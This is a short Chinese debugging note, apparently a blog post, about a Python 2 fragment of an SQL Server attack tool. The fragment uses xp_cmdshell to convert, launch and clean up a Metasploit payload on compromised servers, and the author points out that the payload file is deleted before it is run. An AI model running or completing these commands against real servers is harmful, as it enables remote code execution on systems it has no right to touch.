今晚再次调试,发现生成的h2b.exe无法运行,这个文件用来把hex转换成bin,而且后面的代码,似乎也有问题:
print "Metasploit payload delivered.."
print "Converting our payload to binary, this may take a few..."
query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
printquery=mssql.execute_query(query5)
print "Cleaning up..."
query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
printquery=mssql.execute_query(query5)
query5=("""xp_cmdshell 'del h2b.exe'""")
printquery=mssql.execute_query(query5)
print "Launching payload, this could take up to a minute..."
print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
printquery=mssql.execute_query(query5)
pause=raw_input("Press enter to return back to compromised SQL Servers.")
既然已经删除metasploit,为什么还要运行:
query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
我觉得应该去掉:
query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
初始化的时候再去删除。